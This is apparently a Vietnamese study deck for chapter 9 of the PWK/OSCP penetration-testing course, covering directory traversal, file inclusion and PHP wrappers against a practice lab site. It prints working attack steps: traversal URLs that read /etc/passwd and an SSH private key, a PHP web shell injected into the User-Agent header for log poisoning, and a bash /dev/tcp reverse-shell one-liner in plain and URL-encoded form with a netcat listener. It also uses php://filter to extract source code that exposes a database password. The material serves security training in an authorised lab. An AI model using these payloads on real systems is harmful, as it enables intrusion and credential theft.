S
PWK / OSCP· Tài Liệu Học Tập PWK
Mở đầuTài Liệu Học Tập PWK

Common Web Application Attacks

PWK / OSCP · CHƯƠNG 9

Common Web Application Attacks

Directory Traversal, File Inclusion, File Upload và OS Command Injection — theo quy trình kiểm thử có hệ thống trong môi trường lab được ủy quyền.

Directory TraversalLFI / RFIPHP WrappersFile UploadCommand Injection
Chỉ thực hành trong lab, hệ thống được ủy quyền hoặc môi trường đào tạo.
9. Mở đầuTài Liệu Học Tập PWK

Bản đồ nội dung Chương 9

01

Directory Traversal

Đọc file ngoài web root bằng đường dẫn tuyệt đối, tương đối và URL encoding.

02

File Inclusion

Phân biệt đọc file với include/execute; khai thác LFI, wrapper và RFI.

03

File Upload

Tận dụng file executable hoặc kết hợp upload với path traversal.

04

Command Injection

Từ input hợp lệ, tìm delimiter/filter bypass và chứng minh code execution.

Mục tiêuNhận diện dữ liệu người dùng kiểm soát, xây giả thuyết, xác minh từng bước và ghi lại bằng chứng có thể tái hiện.
9. Mở đầuTài Liệu Học Tập PWK

Vì sao các lỗi này xuất hiện lặp lại?

  • Web development thay đổi nhanh, dự án chịu áp lực thời gian và đội ngũ có thể thiếu kinh nghiệm bảo mật.
  • Dù technology stack khác nhau, cùng một lỗi kiểm soát input và xử lý file/lệnh có thể lặp lại.
  • Bốn nhóm tấn công trong chương đều bắt đầu từ việc xác định dữ liệu người dùng có thể điều khiển.
  • Khai thác phụ thuộc framework, ngôn ngữ, web server, hệ điều hành và quyền của process.
Điểm cần nhớKhông bắt đầu bằng payload. Hãy bắt đầu bằng việc hiểu luồng dữ liệu và cách ứng dụng xử lý input.
9.1 Directory TraversalTài Liệu Học Tập PWK
9.1 Directory Traversal

Directory Traversal

Từ kiến thức đường dẫn đến việc nhận diện tham số dùng tên file, đọc file nhạy cảm và xử lý bộ lọc.

9.1 Directory TraversalTài Liệu Học Tập PWK

Mục tiêu học tập

A

Absolute / Relative

Hiểu đường dẫn tuyệt đối, đường dẫn tương đối và vai trò của ../.

I

Identification

Tìm parameter, link hoặc request dùng tên file làm giá trị.

E

Exploitation

Đọc file ngoài web root và chuyển thông tin thu được thành giả thuyết tiếp theo.

%

Encoding

Dùng percent encoding khi chuỗi traversal dạng rõ bị chặn.

9.1.1 Absolute vs Relative PathsTài Liệu Học Tập PWK

Đường dẫn tuyệt đối

  • Chỉ rõ toàn bộ đường dẫn từ root filesystem.
  • Trên Linux bắt đầu bằng /, ví dụ /etc/passwd.
  • Không phụ thuộc current working directory.
  • Hữu ích khi ứng dụng chấp nhận trực tiếp đường dẫn đầy đủ.
Ví dụ/home/kali//etc/passwd là các đường dẫn tuyệt đối.
9.1.1 Absolute vs Relative PathsTài Liệu Học Tập PWK

Đọc /etc/passwd bằng đường dẫn tuyệt đối

Listing 1 - Display content of /etc/passwd with an absolute path
kali@kali:~$ 
pwd


/home/kali


kali@kali:~$ 
ls /

bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr

etc
   lib             lost+found  proc   srv   var


kali@kali:~$ 
cat /etc/passwd

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
  • pwd xác định current directory.
  • Dấu / trước etc khiến hệ thống bắt đầu từ root.
9.1.1 Absolute vs Relative PathsTài Liệu Học Tập PWK

Đường dẫn tương đối

  • Được tính từ current working directory.
  • ../ lùi một cấp thư mục.
  • Có thể ghép nhiều chuỗi ../ để quay về root.
  • Sau khi đạt root, thêm nhiều ../ không đưa ta “cao hơn” nữa.
Điểm cần nhớKhi không biết ứng dụng đang chạy ở thư mục nào, một chuỗi traversal đủ dài thường được dùng để đảm bảo chạm root.
9.1.1 Absolute vs Relative PathsTài Liệu Học Tập PWK

Dùng ../ để quay về root

Listing 2 - Using ../ to get to the root file system
kali@kali:~$ 
pwd


/home/kali


kali@kali:~$ 
ls ../

kali

kali@kali:~$ 
ls ../../

bin   home            lib32       media  root  sys  vmlinuz
boot  initrd.img      lib64       mnt    run   tmp  vmlinuz.old
dev   initrd.img.old  libx32      opt    sbin  usr

etc
   lib             lost+found  proc   srv   var
  • Từ /home/kali, một ../ đến /home.
  • Hai chuỗi đến root /.
9.1.1 Absolute vs Relative PathsTài Liệu Học Tập PWK

Đọc /etc/passwd bằng đường dẫn tương đối

Listing 3 - Display contents of /etc/passwd with a relative path
kali@kali:~$ 
ls ../../etc

adduser.conf            debian_version  hostname        logrotate.d     
passwd
 
...
logrotate.conf  pam.d           rmt          sudoers       zsh


kali@kali:~$ 
cat ../../etc/passwd

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
  • Ghép ../../ với etc/passwd.
  • Ý nghĩa kỹ thuật không đổi: file đích vẫn là /etc/passwd.
9.1.1 Absolute vs Relative PathsTài Liệu Học Tập PWK

Thêm nhiều ../ hơn mức cần thiết

Listing 4 - Adding more "../" to the relative path
kali@kali:~$ 
cat ../../../../../../../../../../../etc/passwd

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
king-phisher:x:133:141::/var/lib/king-phisher:/usr/sbin/nologin
kali:x:1000:1000:Kali,,,:/home/kali:/usr/bin/zsh
  • Số chuỗi chỉ quan trọng cho đến khi đạt root.
  • Kỹ thuật này hữu ích khi current working directory chưa rõ.
9.1.1 Absolute vs Relative PathsTài Liệu Học Tập PWK

So sánh nhanh

Thuộc tínhAbsolute pathRelative path
Điểm bắt đầuRoot filesystemCurrent working directory
Ví dụ/etc/passwd../../etc/passwd
Phụ thuộc vị trí hiện tạiKhông
Ứng dụng trong kiểm thửThử khi parameter chấp nhận full pathThử traversal khi base directory nằm trong web root
NotesGhi lại cả path đã thử, response code và dấu hiệu file thực sự được đọc.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK
9.1.2 Identifying & Exploiting

Nhận diện và khai thác Directory Traversal

Đọc URL, link, parameter và behavior của ứng dụng trước khi thử traversal.

9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Directory Traversal xảy ra khi nào?

  • Ứng dụng dùng input của người dùng để xây đường dẫn file nhưng không chuẩn hóa hoặc kiểm tra đầy đủ.
  • Web root thường là base directory; trên Linux hay gặp /var/www/html/.
  • Traversal cho phép truy cập file nằm ngoài web root bằng đường dẫn tương đối.
  • Tác động ban đầu thường là information disclosure, nhưng file nhạy cảm có thể dẫn đến system access.
Giả thuyếtNếu parameter có giá trị là tên file, hãy kiểm tra xem server đang đọc file hay include/execute file đó.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

URL tiết lộ technology và parameter

Listing 5 - Example of a link
https://example.com/cms/login.php?language=en.html
  • login.php cho biết ứng dụng dùng PHP.
  • language=en.html cho thấy parameter nhận tên file.
  • Thư mục cms tiết lộ ứng dụng chạy trong subdirectory.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Quy trình nhận diện parameter dùng file

1Hover / InspectDi chuột qua link, kiểm tra source và request.
2Tách URLXác định script, directory, parameter và value.
3Mở file trực tiếpThử truy cập file value để xác nhận file tồn tại.
4Thay pathThử tên file khác, absolute path hoặc relative path.
Điểm cần nhớBrowser giúp discovery; Burp hoặc curl phù hợp hơn khi cần kiểm soát chính xác request.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Cấu hình hostname cho lab

Listing 6 - Contents of /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali

192.168.50.16   mountaindesserts.com

...
  • Ánh xạ hostname giúp giữ URL nhất quán trong bài thực hành.
  • IP của VM có thể thay đổi; phải cập nhật theo lab đang chạy.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Mở ứng dụng Mountain Desserts

Figure 1: Mountain Desserts Single Page Application
  • Navigation hiển thị index.php, củng cố giả thuyết ứng dụng dùng PHP.
  • Bắt đầu enumeration từ mọi link và button.
Figure 1: Mountain Desserts Single Page Application
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Hover các button và link

Figure 2: Hovering over a Button
  • Nhiều button chỉ quay lại chính page hiện tại.
  • Không bỏ qua link ở cuối trang hoặc phần ít nổi bật.
Figure 2: Hovering over a Button
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Link Admin tiết lộ page parameter

Figure 3: Hovering over the "Admin" Link
  • Preview URL cho thấy page=admin.php.
  • Đây là input có giá trị là tên file — ưu tiên kiểm tra traversal/LFI.
Figure 3: Hovering over the "Admin" Link
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Thông báo maintenance khi mở Admin

Figure 4: Error Message of Admin Link
  • Content được render trong cùng trang index.php.
  • Behavior gợi ý ứng dụng đang include nội dung từ file được chỉ định.
Figure 4: Error Message of Admin Link
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Truy cập admin.php trực tiếp

Figure 5: Maintenance of Admin Page
  • Thông báo giống nhau xác nhận file admin.php tồn tại.
  • Có cơ sở để thay value của parameter bằng một đường dẫn khác.
Figure 5: Maintenance of Admin Page
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Thử đọc /etc/passwd qua page parameter

Listing 7 - Entire URL of our Directory Traversal attack
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
  • Chuỗi traversal dài đảm bảo quay về root.
  • File đích là /etc/passwd.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Ứng dụng hiển thị nội dung passwd

Figure 6: Web Application shows contents of Passwd File
  • Xác nhận Directory Traversal hoạt động.
  • Output cung cấp user, home directory và shell — dữ liệu để xây giả thuyết tiếp theo.
Figure 6: Web Application shows contents of Passwd File
EvidenceLưu URL/request đầy đủ và đoạn response chứng minh file được đọc.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Từ /etc/passwd đến file nhạy cảm

  • Đọc danh sách user và home directory từ /etc/passwd.
  • Kiểm tra ~/.ssh/id_rsa hoặc file cấu hình có credential.
  • Quyền của web-server process giới hạn file có thể đọc, nhưng cấu hình permission sai vẫn rất phổ biến.
  • Không dừng ở “đã đọc được passwd”; hãy chuyển output thành danh sách path cần kiểm tra.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Đọc SSH private key của user offsec

Listing 8 - Entire URL of our Directory Traversal attack
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
  • Home directory được suy ra từ /etc/passwd.
  • Path đích: /home/offsec/.ssh/id_rsa.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

SSH private key được trả về

Figure 7: Content of SSH Private Key
  • Browser có thể làm format output khó đọc.
  • Chuyển sang curl/Burp để lấy response thô và copy key chính xác.
Figure 7: Content of SSH Private Key
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Lấy private key bằng curl

Listing 9 - SSH Private Key via curl
kali@kali:~$ 
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa

...
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAz+pEKI1OmULVSs8ojO/sZseiv3zf2dbH6LSyYuj3AHkcxIND7UTw
XdUTtUeeJhbTC0h5S2TWFJ3OGB0zjCqsEI16ZHsaKI9k2CfNmpl0siekm9aQGxASpTiYOs
KCZOFoPU6kBkKyEhfjB82Ea1VoAvx4J4z7sNx1+wydQ/Kf7dawd95QjBuqLH9kQIEjkOGf
BemTOAyCdTBxzUhDz1siP9uyofquA5vhmMXWyy68pLKXpiQqTF+foGQGG90MBXS5hwskYg
...
lpWPWFQro9wzJ/uJsw/lepsqjrg2UvtrkAAADBAN5b6pbAdNmsQYmOIh8XALkNHwSusaK8
bM225OyFIxS+BLieT7iByDK4HwBmdExod29fFPwG/6mXUL2Dcjb6zKJl7AGiyqm5+0Ju5e
hDmrXeGZGg/5unGXiNtsoTJIfVjhM55Q7OUQ9NSklONUOgaTa6dyUYGqaynvUVJ/XxpBrb
iRdp0z8X8E5NZxhHnarkQE2ZHyVTSf89NudDoXiWQXcadkyrIXxLofHPrQzPck2HvWhZVA
+2iMijw3FvY/Fp4QAAAA1vZmZzZWNAb2Zmc2VjAQIDBA==
-----END OPENSSH PRIVATE KEY-----
...
  • curl giữ formatting của key tốt hơn browser.
  • Tách nội dung từ BEGIN đến END và lưu vào file riêng.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Dùng private key để SSH

Listing 10 - Using the Private Key to connect via SSH
kali@kali:~$ 
ssh -i dt_key -p 2222 offsec@mountaindesserts.com

The authenticity of host '[mountaindesserts.com]:2222 ([192.168.50.16]:2222)' can't be established.
Are you sure you want to continue connecting (yes/no/[fingerprint])? 
yes

...
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@         WARNING: UNPROTECTED PRIVATE KEY FILE!          @
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

Permissions 0644 for '/home/kali/dt_key' are too open.

It is required that your private key files are NOT accessible by others.
This private key will be ignored.
...

kali@kali:~$ 
chmod 400 dt_key


kali@kali:~$ 
ssh -i dt_key -p 2222 offsec@mountaindesserts.com

...

offsec@68b68f3eb343:~$
 
  • SSH từ chối key có permission quá rộng.
  • chmod 400 dt_key giới hạn quyền đọc trước khi kết nối.
  • Port SSH trong lab là 2222.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Directory Traversal trên Linux và Windows

Nền tảngFile xác minhPath đáng chú ýKý tự traversal
Linux/etc/passwdHome directory, SSH key, config, log../
WindowsC:\Windows\System32\drivers\etc\hostsIIS logs, C:\inetpub\wwwroot\web.config../..\
Điểm cần nhớTrên Windows cần nghiên cứu framework/web server để đoán path nhạy cảm vì không có tương đương trực tiếp của /etc/passwd.
9.1.2 Identifying & ExploitingTài Liệu Học Tập PWK

Notes cho một finding Directory Traversal

URL và parameter dễ bị tác động
Absolute/relative path đã thử
Response code và dấu hiệu file hợp lệ
User/context của web server nếu suy ra được
File nhạy cảm đọc được và impact
Bước xác minh bằng curl/Burp
Giới hạn quyền truy cập file
Khuyến nghị chuẩn hóa và allowlist path
9.1.3 Encoding Special CharactersTài Liệu Học Tập PWK
9.1.3 Encoding Special Characters

Encoding ký tự đặc biệt

Dùng URL/percent encoding khi chuỗi traversal dạng rõ bị filter hoặc chuẩn hóa.

9.1.3 Encoding Special CharactersTài Liệu Học Tập PWK

Traversal dạng rõ bị trả 404

Listing 11 - Using "../" to leverage the Directory Traversal vulnerability in Apache 2.4.49
kali@kali:/var/www/html$ 
curl http://192.168.50.16/cgi-bin/../../../../etc/passwd


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

</body></html>


kali@kali:/var/www/html$ 
curl http://192.168.50.16/cgi-bin/../../../../../../../../../../etc/passwd


<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>

<p>The requested URL was not found on this server.</p>

</body></html>
  • Thêm nhiều ../ không thay đổi kết quả.
  • Có khả năng web server/WAF/app chặn pattern traversal.
9.1.3 Encoding Special CharactersTài Liệu Học Tập PWK

Vì sao encoding có thể bypass filter?

  • Filter có thể chỉ kiểm tra chuỗi rõ ../.
  • Request đi qua filter với biểu diễn percent-encoded.
  • Sau đó web server hoặc application decode lại thành ký tự hợp lệ.
  • Trong ví dụ Apache 2.4.49, dấu chấm được biểu diễn bằng %2e.
Cảnh báoEncoding không phải phép “ẩn” tuyệt đối; mỗi lớp proxy, WAF và app có thể decode khác nhau.
9.1.3 Encoding Special CharactersTài Liệu Học Tập PWK

Dùng %2e để đọc /etc/passwd

Listing 12 - Using encoded dots for Directory Traversal
kali@kali:/var/www/html$ 
curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd



root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
alfred:x:1000:1000::/home/alfred:/bin/bash
  • %2e%2e/ tương ứng ../.
  • Response trả nội dung passwd, xác nhận bypass thành công.
9.1.3 Encoding Special CharactersTài Liệu Học Tập PWK

Workflow khi payload traversal bị chặn

1BaselineGửi request hợp lệ và lưu response.
2Plain traversalThử ../ hoặc ..\.
3EncodePercent-encode ký tự đặc biệt theo từng phần.
4CompareSo sánh status, length và nội dung response.
Điểm cần nhớThay đổi từng yếu tố để biết chính xác biến thể nào vượt qua filter.
9.2 File InclusionTài Liệu Học Tập PWK
9.2 File Inclusion

File Inclusion Vulnerabilities

Phân biệt đọc file với include/execute, sau đó chuyển LFI thành code execution.

9.2 File InclusionTài Liệu Học Tập PWK

Mục tiêu học tập

D

Difference

Directory Traversal đọc file; File Inclusion đưa file vào luồng thực thi của ứng dụng.

L

LFI

Include file cục bộ và tận dụng Log Poisoning để thực thi code.

W

Wrappers

Dùng php://filterdata://.

R

RFI

Include file từ HTTP/SMB khi cấu hình cho phép.

9.2.1 Local File InclusionTài Liệu Học Tập PWK
9.2.1 Local File Inclusion

Local File Inclusion (LFI)

Từ parameter dùng file đến Log Poisoning, command execution và reverse shell trong lab.

9.2.1 Local File InclusionTài Liệu Học Tập PWK

Directory Traversal và File Inclusion

Đặc điểmDirectory TraversalFile Inclusion
Mục tiêuĐọc nội dung file ngoài web rootInclude file vào code đang chạy
File PHPThường lộ source nếu được đọc thôThường bị execute bởi PHP engine
Khả năng RCEGián tiếp qua credential/keyCó thể trực tiếp nếu include file chứa code
Câu hỏi cần kiểm traServer có trả nội dung file không?File được hiển thị hay thực thi?
Sai lầm phổ biếnGọi mọi lỗi đọc file là LFI có thể làm bỏ lỡ cơ hội code execution.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Chuỗi Log Poisoning

1Tìm logĐọc access.log bằng LFI.
2Tìm field kiểm soátUser-Agent được ghi vào log.
3PoisonGửi PHP snippet trong User-Agent.
4IncludeInclude log và truyền parameter lệnh.
Điểm cần nhớLFI chỉ execute được khi file được include chứa code hợp lệ cho runtime.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Đọc Apache access.log

Listing 13 - Log entry of Apache's access.log
kali@kali:~$ 
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log

...
192.168.50.1 - - [12/Apr/2022:10:34:55 +0000] "GET /meteor/index.php?page=admin.php HTTP/1.1" 200 2218 "-" 
"Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0"

...
  • Log cho thấy method, URL, status và User-Agent.
  • User-Agent là field client có thể sửa trước khi gửi.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Request gốc trong Burp Repeater

Figure 8: Unmodified Request in Burp Repeater
  • Gửi request từ HTTP History sang Repeater.
  • Giữ request baseline trước khi thay User-Agent.
Figure 8: Unmodified Request in Burp Repeater
9.2.1 Local File InclusionTài Liệu Học Tập PWK

PHP snippet chèn vào User-Agent

Listing 14 - PHP Snippet to embed in the User Agent
<?php echo system($_GET['cmd']); ?>
  • Snippet nhận lệnh qua parameter cmd.
  • Hàm system thực thi lệnh và echo hiển thị output.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Poison User-Agent trong Repeater

Figure 9: Modified Request in Burp Repeater
  • PHP code được gửi trong header User-Agent.
  • Apache ghi chuỗi này vào access.log.
Figure 9: Modified Request in Burp Repeater
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Path include access.log

Listing 15 - Relative Path for the "page" parameter
../../../../../../../../../var/log/apache2/access.log
  • Đưa path log vào parameter page.
  • Thêm &cmd=... để truyền lệnh cho snippet.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Output lệnh qua Log Poisoning

Figure 10: Output of the specified ls command through Log Poisoning
  • Response chứa output của process command.
  • Xác nhận code trong log đã được runtime execute.
Figure 10: Output of the specified ls command through Log Poisoning
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Lệnh có khoảng trắng gây lỗi

Figure 11: Using a command with parameters
  • Input ls -la không chạy đúng do space trong URL.
  • Cần encode space hoặc dùng kỹ thuật phân tách phù hợp.
Figure 11: Using a command with parameters
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Encode space bằng %20

Figure 12: URL encoding a space with %20
  • Thay space bằng %20.
  • Output xác nhận command có parameter được thực thi.
Figure 12: URL encoding a space with %20
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Từ command execution đến interactive access

  • Chọn reverse shell phù hợp hệ điều hành và shell thực thi.
  • Bash one-liner có syntax không được Bourne shell hỗ trợ đầy đủ.
  • Bọc command trong bash -c để ép thực thi bởi Bash.
  • URL-encode toàn bộ ký tự đặc biệt trước khi đưa vào request.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Bash TCP reverse shell one-liner

Listing 16 - Bash reverse shell one-liner
bash -i >& /dev/tcp/192.168.119.3/4444 0>&1
  • Cập nhật IP/port theo Kali và lab đang chạy.
  • One-liner này cần Bash syntax.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Ép thực thi reverse shell bằng bash -c

Listing 17 - Bash reverse shell one-liner executed as command in Bash
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
  • Bọc one-liner trong dấu ngoặc kép.
  • Giảm rủi ro command bị chạy bởi sh không tương thích.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Reverse shell đã URL-encode

Listing 18 - URL encoded Bash TCP reverse shell one-liner
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22
  • Encoded payload được đưa vào parameter cmd.
  • Giữ nguyên từng ký tự như tài liệu gốc.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Payload reverse shell trong cmd parameter

Figure 13: Encoded Bash reverse shell in "cmd" parameter
  • Request chứa path log và encoded reverse-shell command.
  • Khởi động listener trước khi gửi request.
Figure 13: Encoded Bash reverse shell in "cmd" parameter
An toàn labChỉ dùng trên VM được cung cấp hoặc hệ thống có ủy quyền rõ ràng.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

Nhận reverse shell bằng Netcat

Listing 19 - Successful reverse shell from the target system
kali@kali:~$ 
nc -nvlp 4444

listening on [any] 4444 ...

connect to [192.168.119.3] from (UNKNOWN) [192.168.50.16] 57848

bash: cannot set terminal process group (24): Inappropriate ioctl for device
bash: no job control in this shell

www-data@fbea640f9802
:/var/www/html/meteor$ 
ls

admin.php
bavarian.php
css
fonts
img
index.php
js
  • Listener nhận kết nối từ target.
  • Prompt cho thấy shell chạy dưới user www-data.
9.2.1 Local File InclusionTài Liệu Học Tập PWK

LFI trên Windows và framework khác

  • Với XAMPP, Apache logs thường nằm trong C:\xampp\apache\logs\.
  • PHP snippet dùng system có thể hoạt động trên Windows; command phải đổi theo hệ điều hành.
  • LFI còn có thể xuất hiện trong ASP/ASPX, JSP, Perl hoặc Node.js tùy implementation.
  • Path, file log và code snippet phụ thuộc runtime và web server.
Điểm cần nhớSau khi xác minh LFI, fingerprint technology stack trước khi chọn kỹ thuật RCE.
9.2.2 PHP WrappersTài Liệu Học Tập PWK
9.2.2 PHP Wrappers

PHP Wrappers

Đọc source PHP bằng filter và thực thi code bằng data wrapper khi cấu hình cho phép.

9.2.2 PHP WrappersTài Liệu Học Tập PWK

Hai wrapper trọng tâm

F

php://filter

Áp dụng filter/encoding lên resource; hữu ích để lấy source PHP thay vì execute.

D

data://

Nhúng dữ liệu plaintext hoặc base64 trực tiếp vào luồng include để thực thi.

Điều kiệnBehavior phụ thuộc cấu hình PHP; data:// cần allow_url_include được bật.
9.2.2 PHP WrappersTài Liệu Học Tập PWK

Include admin.php theo cách thông thường

Listing 20 - Contents of the admin.php file
kali@kali:~$ 
curl http://mountaindesserts.com/meteor/index.php?page=admin.php

...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Maintenance</title>
</head>
<body>
        <span style="color:#F00;text-align:center;">The admin page is currently under maintenance.
  • PHP server-side code không xuất hiện trong response vì đã được execute.
  • HTML bị thiếu gợi ý còn nội dung PHP ẩn.
9.2.2 PHP WrappersTài Liệu Học Tập PWK

php://filter không encoding

Listing 21 - Usage of "php://filter" to include unencoded admin.php
kali@kali:~$ 
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/resource=admin.php

...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Maintenance</title>
</head>
<body>
        <span style="color:#F00;text-align:center;">The admin page is currently under maintenance.
  • Kết quả giống include bình thường.
  • Không filter/encode thì PHP code vẫn được execute.
9.2.2 PHP WrappersTài Liệu Học Tập PWK

Base64-encode source admin.php

Listing 22 - Usage of "php://filter" to include base64 encoded admin.php
kali@kali:~$ 
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php

...
<a href="index.php?page=admin.php"><p style="text-align:center">Admin</p></a>

PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbn...
dF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K

...
  • Dùng convert.base64-encode.
  • Response chứa chuỗi Base64 thay vì thực thi source PHP.
9.2.2 PHP WrappersTài Liệu Học Tập PWK

Decode source PHP và tìm credential

Listing 23 - Decoding the base64 encoded content of admin.php
kali@kali:~$ 
echo "PCFET0NUWVBFIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KPGhlYWQ+CiAgICA8bWV0YSBjaGFyc2V0PSJVVEYtOCI+CiAgICA8bWV0YSBuYW1lPSJ2aWV3cG9ydCIgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLCBpbml0aWFsLXNjYWxlPTEuMCI+CiAgICA8dGl0bGU+TWFpbnRlbmFuY2U8L3RpdGxlPgo8L2hlYWQ+Cjxib2R5PgogICAgICAgIDw/cGhwIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjojRjAwO3RleHQtYWxpZ246Y2VudGVyOyI+VGhlIGFkbWluIHBhZ2UgaXMgY3VycmVudGx5IHVuZGVyIG1haW50ZW5hbmNlLic7ID8+Cgo8P3BocAokc2VydmVybmFtZSA9ICJsb2NhbGhvc3QiOwokdXNlcm5hbWUgPSAicm9vdCI7CiRwYXNzd29yZCA9ICJNMDBuSzRrZUNhcmQhMiMiOwoKLy8gQ3JlYXRlIGNvbm5lY3Rpb24KJGNvbm4gPSBuZXcgbXlzcWxpKCRzZXJ2ZXJuYW1lLCAkdXNlcm5hbWUsICRwYXNzd29yZCk7CgovLyBDaGVjayBjb25uZWN0aW9uCmlmICgkY29ubi0+Y29ubmVjdF9lcnJvcikgewogIGRpZSgiQ29ubmVjdGlvbiBmYWlsZWQ6ICIgLiAkY29ubi0+Y29ubmVjdF9lcnJvcik7Cn0KZWNobyAiQ29ubmVjdGVkIHN1Y2Nlc3NmdWxseSI7Cj8+Cgo8L2JvZHk+CjwvaHRtbD4K" | base64 -d

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Maintenance</title>
</head>
<body>
        <?php echo '<span style="color:#F00;text-align:center;">The admin page is currently under maintenance.'; ?>


<?php
$servername = "localhost";
$username = "root";
$password = "M00nK4keCard!2#";

// Create connection
$conn = new mysqli($servername, $username, $password);

...
  • Decode bằng base64 -d.
  • Source lộ MySQL username/password trong file cấu hình.
9.2.2 PHP WrappersTài Liệu Học Tập PWK

Ý nghĩa của php://filter

  • Giúp đọc source của file executable mà LFI thông thường sẽ execute.
  • Source code có thể lộ credential, endpoint, path, query hoặc logic kiểm tra quyền.
  • Có thể dùng absolute hoặc relative path trong parameter resource.
  • Sau khi decode, ghi lại chính xác file, encoding và dữ liệu nhạy cảm tìm thấy.
9.2.2 PHP WrappersTài Liệu Học Tập PWK

Thực thi ls bằng data://

